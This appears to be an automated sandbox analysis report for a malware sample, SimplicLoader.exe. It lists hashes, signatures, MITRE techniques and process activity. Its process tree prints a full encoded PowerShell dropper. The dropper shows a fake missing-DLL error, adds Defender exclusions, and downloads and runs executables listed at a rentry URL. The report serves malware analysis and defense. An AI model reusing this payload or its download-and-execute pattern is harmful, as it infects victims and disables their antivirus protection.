3797d33045461d3f38719dc5a2c226a8163dc06ac0b75c2a93c54ab91f0efb5b

Analysis

max time kernel
27s
max time network
30s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
27-04-2023 13:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SimplicLoader.exe
Size

75KB
MD5

72fb96fbbee9fa0c1c25030152f8a802
SHA1

22d1be899c8a2aca51420a9ae3f89c5528d7e347
SHA256

1f08b5e59bf1ec24b9be2c2211dccf22a6651202d29a9be6d8d2f99b127a9274
SHA512

bbcee824c437c0069d174d2b34ed42cecef72c22fee9418144af64083d8833af9572b3670bacfcfc1eb5cfa3da269aa289ee10d9d2eeb2442763e1dda1e3248d
SSDEEP

768:ol9EoLDR6GjcJUsg6O/scbnY+kVgbu7FpMtqwH7pRMAfPdqoxgGgKrVuua:S9RuU/da7HM1Zgero

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/yui9p/raw

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 1696 powershell.exe
5 1696 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

1696 powershell.exe
1696 powershell.exe
1484 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1696 powershell.exe
Token: SeDebugPrivilege 1484 powershell.exe

flow	pid	process
4	1696	powershell.exe
5	1696	powershell.exe

pid	process
1696	powershell.exe
1696	powershell.exe
1484	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	1484	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

SimplicLoader.exepowershell.exe

description	pid	process	target process
PID 924 wrote to memory of 1696	924	SimplicLoader.exe	powershell.exe
PID 924 wrote to memory of 1696	924	SimplicLoader.exe	powershell.exe
PID 924 wrote to memory of 1696	924	SimplicLoader.exe	powershell.exe
PID 1696 wrote to memory of 1484	1696	powershell.exe	powershell.exe
PID 1696 wrote to memory of 1484	1696	powershell.exe	powershell.exe
PID 1696 wrote to memory of 1484	1696	powershell.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\SimplicLoader.exe
"C:\Users\Admin\AppData\Local\Temp\SimplicLoader.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAdwBlACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHcAbABzACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcATQBTAFYAQwBQADEAMQA0AC4AZABsAGwAIABpAHMAIABtAGkAcwBzAGkAbgBnACEAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHgAdgBmACMAPgA7ACIAOwA8ACMAeQBwAG4AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBuAHoAdQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB5AGMAbAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBpAHgAbAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AeQB1AGkAOQBwAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBkAGcAaAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGwAdwBtACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHUAaAB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwBiAHcAaAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB4AHUAcwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdAB4AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAGEAcgB6ACMAPgA="
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#wls#>[System.Windows.Forms.MessageBox]::Show('MSVCP114.dll is missing!','','OK','Error')<#xvf#>;
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1484

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
2b21d0076eb660dabcd743d958321b1c

SHA1
16b5ade7865a06f96c80942211b457f2b9b44a8c

SHA256
d014ead429b1622dfa46067c631f774a35b2658cbbeb7bab21464634f8c48f53

SHA512
e14080dbfd6b1bd1e6ae3fce0159f82e7ed8a20a22b06d736c375f01e63af5b137eb920fe7199a79f965b37745c37554b82538707a2d3c18c7448ef9119c0bd6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K0Z02Y1H54R92F3XUU6Q.temp
Filesize
7KB

MD5
2b21d0076eb660dabcd743d958321b1c

SHA1
16b5ade7865a06f96c80942211b457f2b9b44a8c

SHA256
d014ead429b1622dfa46067c631f774a35b2658cbbeb7bab21464634f8c48f53

SHA512
e14080dbfd6b1bd1e6ae3fce0159f82e7ed8a20a22b06d736c375f01e63af5b137eb920fe7199a79f965b37745c37554b82538707a2d3c18c7448ef9119c0bd6

Download Submit
memory/924-54-0x0000000000240000-0x0000000000258000-memory.dmp

Filesize
96KB

Download
memory/1484-70-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/1484-71-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/1484-72-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/1696-62-0x0000000002310000-0x0000000002390000-memory.dmp

Filesize
512KB

Download
memory/1696-63-0x0000000002310000-0x0000000002390000-memory.dmp

Filesize
512KB

Download
memory/1696-61-0x0000000002310000-0x0000000002390000-memory.dmp

Filesize
512KB

Download
memory/1696-60-0x00000000023E0000-0x00000000023E8000-memory.dmp

Filesize
32KB

Download
memory/1696-69-0x0000000002310000-0x0000000002390000-memory.dmp

Filesize
512KB

Download
memory/1696-59-0x000000001B180000-0x000000001B462000-memory.dmp

Filesize
2.9MB

Download
memory/1696-73-0x0000000002310000-0x0000000002390000-memory.dmp

Filesize
512KB

Download